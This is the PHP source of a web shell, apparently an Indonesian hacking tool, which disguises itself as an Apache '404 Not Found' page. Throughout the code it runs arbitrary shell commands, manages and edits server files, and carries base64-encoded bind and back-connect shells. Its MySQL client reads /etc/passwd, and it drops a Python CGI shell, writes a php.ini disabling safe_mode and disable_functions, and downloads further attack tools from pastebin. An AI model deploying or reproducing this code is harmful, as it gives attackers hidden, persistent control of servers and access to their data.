Anda telah LogOut!!'; ?> 404 Not Found
XtGem Forum catalog

Not Found

The requested URL was not found on this server.


Apache Server at Port 80
[ "; if ($letter.":" != $v) {$letters .= $letter;} else {$letters .= "".$letter."";} $letters .= " ] "; } } } #################### function convertByte($s) { if($s >= 1073741824) return sprintf('%1.2f',$s / 1073741824 ).' GB'; elseif($s >= 1048576) return sprintf('%1.2f',$s / 1048576 ) .' MB'; elseif($s >= 1024) return sprintf('%1.2f',$s / 1024 ) .' KB'; else return $s .' B'; } $free = convertByte(disk_free_space("/")); $total = convertByte(disk_total_space("/")); $free_percent = round(100/($total/$free),2)."%"; ########################### if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE; $bytes = disk_free_space("."); $si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' ); $base = 1024; $class = min((int)log($bytes , $base) , count($si_prefix) - 1); $totalspace_bytes = disk_total_space("."); $totalspace_si_prefixs = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' ); $totalspace_bases = 1024; $totalspace_class = min((int)log($totalspace_bytes , $totalspace_bases) , count($totalspace_si_prefixs) - 1); $totalspace_show = sprintf('%1.2f' , $totalspace_bytes / pow($totalspace_bases,$totalspace_class)) . ' ' . $totalspace_si_prefixs[$totalspace_class] . ''; $freespace_show = sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . ''; $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]); $my_ip = $_SERVER['REMOTE_ADDR']; $admin_contact = $_SERVER['SERVER_ADMIN']; $pwds = explode(DIRECTORY_SEPARATOR,$pwd); $pwdurl = ""; for($i = 0 ; $i < sizeof($pwds)-1 ; $i++) { $pathz = ""; for($j = 0 ; $j <= $i ; $j++) { $pathz .= $pwds[$j].DIRECTORY_SEPARATOR; } $pwdurl .= "".$pwds[$i]." ".DIRECTORY_SEPARATOR." "; } if(isset($_POST['rename'])){ $old = $_POST['oldname']; $new = $_POST['newname']; @rename($pwd.$old,$pwd.$new); $file = $pwd.$new; } if(isset($_POST['chmod'])){ $name = $_POST['name']; $value = $_POST['newvalue']; if (strlen($value)==3){ $value = 0 . "" . $value;} @chmod($pwd.$name,octdec($value)); $file = $pwd.$name;} if(isset($_POST['chmod_folder'])){ $name = $_POST['name']; $value = $_POST['newvalue']; if (strlen($value)==3){ $value = 0 . "" . $value;} @chmod($pwd.$name,octdec($value)); $file = $pwd.$name;} ////////////////////////////////////////////////// $disablefunc = @ini_get("disable_functions"); function showdisablefunctions() { if ($disablefunc=@ini_get("disable_functions")){ return "".$disablefunc.""; } else { return "NONE"; } } function ex($cfe) { $res = ''; if (!empty($cfe)) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } else { $res = "Ex() Disabled!"; } } return $res; } function showstat($stat) { if ($stat=="on") { return "ON"; } else {return "OFF";} } function testperl() { if (ex('perl -h')) { return showstat("on"); } else { return showstat("off"); } } function testfetch() { if(ex('fetch --help')) { return showstat("on"); } else { return showstat("off"); } } function testwget() { if (ex('wget --help')) { return showstat("on"); } else { return showstat("off"); } } function testoracle() { if (function_exists('ocilogon')) { return showstat("on"); } else { return showstat("off"); } } function testpostgresql() { if (function_exists('pg_connect')) { return showstat("on"); } else { return showstat("off"); } } function testmssql() { if (function_exists('mssql_connect')) { return showstat("on"); } else { return showstat("off"); } } function testcurl() { if (function_exists('curl_version')) { return showstat("on"); } else { return showstat("off"); } } function testmysql() { if (function_exists('mysql_connect')) { return showstat("on"); } else { return showstat("off"); } } $quotes = get_magic_quotes_gpc(); if ($quotes == "1" or $quotes == "on") { $quot = "ON"; } else { $quot = "OFF"; } ///////////////////////////////////////////////////////////////////// // print useful info $buff = $DISP_SERVER_SOFTWARE."
"; $buff .="Operation System : ".$system."
"; $buff .="ID : ".$id."
"; $buff .= "Server IP : "."$server_ip"." | "."Your IP : "."$my_ip"."
"; $buff .= "Total HDD Space : "."$totalspace_show"." | "."Free HDD Space : "."$freespace_show"." | Free HDD Percent ($free_percent)"."
"; $buff .= "Admin Server : "." $admin_contact "."
"; $buff .= "Magic Quotes:$quot"."
"; $buff .= "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle(). " PostgreSQL: ".testpostgresql()." cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."
"; if($safemode) $buff .= "safemode ON
"; else $buff .= "safemode OFF
"; if(''==($gaya=@ini_get('disable_functions')))$buff .= "Disable_functions : NONE
"; else $buff .= "Disable_functions : $gaya
"; $buff .= $letters." > ".$pwdurl; function rapih($text){ return trim(str_replace("
","",$text)); } function magicboom($text){ if (!get_magic_quotes_gpc()) { return $text; } return stripslashes($text); } function showdir($pwd,$prompt) { $fname = array(); $dname = array(); if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE; $user = "????:????"; if($dh = opendir($pwd)) { while($file = readdir($dh)) { if(is_dir($file)) { $dname[] = $file; } elseif(is_file($file)) { $fname[] = $file; } } closedir($dh); } sort($fname); sort($dname); $path = @explode(DIRECTORY_SEPARATOR,$pwd); $tree = @sizeof($path); $parent = ""; $buff = "
CMD@$prompt
view file/folder
"; if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR; else $parent = $pwd; foreach($dname as $folder) { if($folder == ".") { if(!$win && $posix) { $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name']." : ".$group['name']; } else { $owner = $user; } $buff .= " "; } elseif($folder == "..") { if(!$win && $posix) { $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name']." : ".$group['name']; } else { $owner = $user; } $buff .= ""; } else { if(!$win && $posix) { $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name']." : ".$group['name']; } else { $owner = $user; } $buff .= ""; } } foreach($fname as $file) { $full = $pwd.$file; if(!$win && $posix) { $name=@posix_getpwuid(@fileowner($file)); $group=@posix_getgrgid(@filegroup($file)); $owner = $name['name']." : ".$group['name']; } else { $owner = $user; } $buff .= ""; } $buff .= "
name size owner:group perms modified actions
$folder - ".$owner." ".get_perms($pwd)." ".date("d-M-Y H:i",@filemtime($pwd))." newfile | newfolder
$folder - ".$owner." ".get_perms($parent)." ".date("d-M-Y H:i",@filemtime($parent))." newfile | newfolder
[ $folder ]
DIR ".$owner." ".get_perms($pwd.$folder)." ".date("d-M-Y H:i",@filemtime($folder))." rename | delete
$file
".ukuran($full)." ".$owner." ".get_perms($full)." ".date("d-M-Y H:i",@filemtime($full))." edit | rename | delete | download (gz)
"; return $buff; } function ukuran($file) { if($size = @filesize($file)) { if($size <= 1024) return $size; else { if($size <= 1024*1024) { $size = @round($size / 1024,2);; return "$size kb"; } else { $size = @round($size / 1024 / 1024,2); return "$size mb"; } } } else return "???"; } function exe($cmd) { if(function_exists('system')) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('exec')) { @exec($cmd,$results); $buff = ""; foreach($results as $result) { $buff .= $result; } return $buff; } elseif(function_exists('passthru')) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('shell_exec')) { $buff = @shell_exec($cmd); return $buff; } } function tulis($file,$text) { $textz = gzinflate(base64_decode($text)); if($filez = @fopen($file,"w")) { @fputs($filez,$textz); @fclose($file); } } function ambil($link,$file) { if($fp = @fopen($link,"r")) { while(!feof($fp)) { $cont.= @fread($fp,1024); } @fclose($fp); $fp2 = @fopen($file,"w"); @fwrite($fp2,$cont); @fclose($fp2); } } function which($pr) { $path = exe("which $pr"); if(!empty($path)) { return trim($path); } else { return trim($pr); } } function download($cmd,$url) { $namafile = basename($url); switch($cmd) { case 'wwget': exe(which('wget')." ".$url." -O ".$namafile); break; case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile); break; case 'wfread' : ambil($wurl,$namafile);break; case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break; case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break; case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break; case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break; default: break; } return $namafile; } function get_perms($file) { if($mode=@fileperms($file)) { $perms=''; $perms .= ($mode & 00400) ? 'r' : '-'; $perms .= ($mode & 00200) ? 'w' : '-'; $perms .= ($mode & 00100) ? 'x' : '-'; $perms .= ($mode & 00040) ? 'r' : '-'; $perms .= ($mode & 00020) ? 'w' : '-'; $perms .= ($mode & 00010) ? 'x' : '-'; $perms .= ($mode & 00004) ? 'r' : '-'; $perms .= ($mode & 00002) ? 'w' : '-'; $perms .= ($mode & 00001) ? 'x' : '-'; return $perms; } else return "??????????"; } function clearspace($text){ return str_replace(" ","_",$text); } $port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf"; $port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8="; $back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw=="; $back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw=="; ?> <?php print TITLE; ?> <?php echo VERSION; ?>
Powered by
";$msg .= "

Connected to ".$sqluser."@".$sqlhost.":".$sqlport;$msg .= "  ->  [ databases ]"; if(isset($_GET['db'])) $msg .= "  ->  ".htmlspecialchars($_GET['db']).""; if(isset($_GET['table'])) $msg .= "  ->  ".htmlspecialchars($_GET['table'])."";$msg .= "

version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."

";$msg .= "
";echo $msg; if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){$db = $_GET['db'];$query = "DROP TABLE IF EXISTS 43RUL_table;\nCREATE TABLE `43RUL_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE '/etc/passwd'\nINTO TABLE 43RUL_table;SELECT * FROM 43RUL_table;\nDROP TABLE IF EXISTS 43RUL_table;";$msg = "

";$tables = array();$msg .= "";$hasil = @mysql_list_tables($db,$con); while(list($table) = @mysql_fetch_row($hasil)){@array_push($tables,$table);} @sort($tables); foreach($tables as $table){$msg .= "";} $msg .= "
available tables on ".$db."
$table
";} elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){ $db = $_GET['db'];$table = $_GET['table'];$query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;"; $msgq = "

"; $columns = array();$msg = "";$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);while(list($column) = @mysql_fetch_row($hasil)){ $msg .= "";$kolum = $column;}$msg .= "";$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table); list($total) = mysql_fetch_row($hasil); if(isset($_GET['z'])) $page = (int) $_GET['z']; else $page = 1;$pagenum = 100;$totpage = ceil($total / $pagenum);$start = (($page - 1) * $pagenum);$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum); while($datas = @mysql_fetch_assoc($hasil)){$msg .= "";foreach($datas as $data){if(trim($data) == "") $data = " ";$msg .= "";}$msg .= "";} $msg .= "
$column
$data
";$head = "
Page
";$msg = $msgq.$head.$msg;} elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){$db = $_GET['db'];$query = magicboom($_GET['sqlquery']); $msg = "

"; @mysql_select_db($db);$querys = explode(";",$query); foreach($querys as $query){if(trim($query) != ""){$hasil = mysql_query($query); if($hasil){$msg .= "

".$query.";   [ ok ]

";$msg .= ""; for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "";$msg .= ""; for($i=0;$i<@mysql_num_rows($hasil);$i++) {$rows=@mysql_fetch_array($hasil);$msg .= ""; for($j=0;$j<@mysql_num_fields($hasil);$j++) { if($rows[$j] == "") $dataz = " "; else $dataz = $rows[$j];$msg .= "";} $msg .= "";} $msg .= "
".htmlspecialchars(@mysql_field_name($hasil,$i))."
".$dataz."
";} else $msg .= "

".$query.";   [ error ]

";} } } else {$query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;";$msg = "

";$dbs = array();$msg .= "";$hasil = @mysql_list_dbs($con); while(list($db) = @mysql_fetch_row($hasil)){@array_push($dbs,$db);} @sort($dbs);foreach($dbs as $db){ $msg .= "";} $msg .= "
available databases
$db
";} @mysql_close($con);} else $msg = "

can't connect

";echo $msg;} else{?>



MySQL Connect
  Host
  Username
  Password
  Port 

+--==[ python Bypass Exploit ]==--+

"; mkdir('python', 0755); chdir('python'); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!"); $metin = "AddHandler cgi-script .izo"; fwrite ( $dosya , $metin ) ; fclose ($dosya); $pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5 OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+ CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48 ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1 dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5 ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6 IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+ PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0 ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi'; $file = fopen("python.izo" ,"w+"); $write = fwrite ($file ,base64_decode($pythonp)); fclose($file); chmod("python.izo",0755); echo " "; } //////////////////////////// elseif(isset($_GET['x']) && ($_GET['x'] == 'whm')) { $file = file_get_contents('http://pastebin.com/raw.php?i=Bayu8UGw'); $IIIIIIIIl11I = fopen('whm.php','w'); fwrite($IIIIIIIIl11I,$file); fclose($IIIIIIIIl11I); print '
Tools siap diluncurkan Boss....
Done !!


[ whm.php ]
'; } //////////////////////////// elseif(isset($_GET['x']) && ($_GET['x'] == 'interface')) { ?>

"; mkdir('mysql', 0755); chdir('mysql'); $akses = ".htaccess"; $buka_lah = "$akses"; $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!"); $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI AddType application/x-httpd-php .cpc "; fwrite ( $buka , $metin ) ; fclose ($buka); $mysql = file_get_contents('http://pastebin.com/raw.php?i=WTMcpKdT'); $file = fopen("mysql.php" ,"w+"); $write = fwrite ($file ,($mysql)); fclose($file); chmod("mysql.php", 0644); $indexshell = fopen("index.php" ,"w+"); $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+'; $tulis = fwrite( $indexshell, base64_decode($data)); fclose($indexshell); $safemode = fopen("php.ini" ,"w+"); $data = 'c2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05F'; $tulis = fwrite( $safemode, base64_decode($data)); fclose($safemode); echo ""; } ///////////////////// elseif(isset($_GET['x']) && ($_GET['x'] == 'cpfind')) { ?>
"; mkdir('cpfind', 0755); chdir('cpfind'); $akses = ".htaccess"; $buka_lah = "$akses"; $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!"); $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI AddType application/x-httpd-php .cpc "; fwrite ( $buka , $metin ) ; fclose ($buka); $cpfind = file_get_contents('http://pastebin.com/raw.php?i=xeXhp0wp'); $file = fopen("cpfind.php" ,"w+"); $write = fwrite ($file ,($cpfind)); fclose($file); chmod("cpfind.php", 0644); $indexshell = fopen("index.php" ,"w+"); $data = 